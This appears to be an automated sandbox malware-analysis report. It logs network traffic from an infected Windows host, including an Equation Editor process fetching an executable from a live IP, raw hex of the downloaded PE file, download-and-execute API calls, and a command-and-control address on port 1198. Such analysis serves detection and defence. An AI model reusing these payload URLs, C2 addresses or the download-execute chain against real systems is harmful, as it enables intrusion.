Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 208.67.105.179:80 -> 192.168.2.22:49178
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80

Source: global traffic

TCP traffic: 192.168.2.22:49178 -> 208.67.105.179:80

Networking

Source: Malware configuration extractor

URLs: 76.8.53.133

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 06 Aug 2022 06:57:45 GMTServer: ApacheLast-Modified: Thu, 04 Aug 2022 23:59:00 GMTETag: "23fe00-5e573221f770a"Accept-Ranges: bytesContent-Length: 2358784Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b7 0f 5b 56 f3 6e 35 05 f3 6e 35 05 f3 6e 35 05 5e 30 34 04 f1 6e 35 05 5e 30 36 04 f7 6e 35 05 5e 30 31 04 fe 6e 35 05 5e 30 30 04 d5 6e 35 05 fa 16 b6 05 f0 6e 35 05 fa 16 a6 05 e8 6e 35 05 f3 6e 34 05 7d 6e 35 05 46 30 30 04 f0 6e 35 05 46 30 35 04 f2 6e 35 05 46 30 ca 05 f2 6e 35 05 f3 6e a2 05 f2 6e 35 05 46 30 37 04 f2 6e 35 05 52 69 63 68 f3 6e 35 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 2a 18 ec 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 8c 00 00 00 6e 23 00 00 00 00 00 3a 8d 00 00 00 10 00 00 00 a0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 24 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 c6 00 00 a8 00 00 00 88 c7 00 00 2c 01 00 00 00 b0 21 00 d0 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 24 00 00 0d 00 00 20 ad 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c ad 00 00 18 00 00 00 40 ad 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 8a 00 00 00 10 00 00 00 8c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e6 34 00 00 00 a0 00 00 00 36 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a0 20 00 00 e0 00 00 00 9c 20 00 00 c6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 60 00 00 00 00 90 21 00 00 02 00 00 00 62 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 09 00 00 00 00 a0 21 00 00 02 00 00 00 64 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 88 02 00 00 b0 21 00 00 8a 02 00 00 66 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 0d 00 00 00 40 24 00 00 0e 00 00 00 f0 23 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /fifthikmerozx.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 208.67.105.179Connection: Keep-Alive

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009A27D3 URLDownloadToFileW,ShellExecuteW,

Source: Joe Sandbox View	ASN Name: QUONIXNETUS QUONIXNETUS
Source: Joe Sandbox View	ASN Name: GRAYSON-COLLIN-COMMUNICATIONSUS GRAYSON-COLLIN-COMMUNICATIONSUS

Source: Joe Sandbox View	IP Address: 76.8.53.133 76.8.53.133
Source: Joe Sandbox View	IP Address: 208.67.105.179 208.67.105.179

Source: global traffic

TCP traffic: 192.168.2.22:49179 -> 76.8.53.133:1198

Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.67.105.179/fifthikmerozx.exe
Source: EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.67.105.179/fifthikmerozx.exe.
Source: EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.67.105.179/fifthikmerozx.exej
Source: EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.67.105.179/fifthikmerozx.exelateC:
Source: EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.67.105.179/fifthikmerozx.exerrC:
Source: powershell.exe, 00000006.00000002.988213966.0000000000502000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.co
Source: powershell.exe, 00000006.00000003.984768254.00000000004BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000006.00000003.984768254.00000000004BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: fiftikmernk852317.exe	String found in binary or memory: https://github.com/syohex/java-simple-mine-sweeper
Source: fiftikmernk852317.exe, 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000003.979955423.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, fiftikmernk852317.exe, 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/syohex/java-simple-mine-sweeperC:

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2B64019E-B848-4D54-A6DE-401B40718F4D}.tmp

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009AD0A3 recv,

Source: global traffic

Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179
Source: unknown	TCP traffic detected without corresponding DNS query: 208.67.105.179

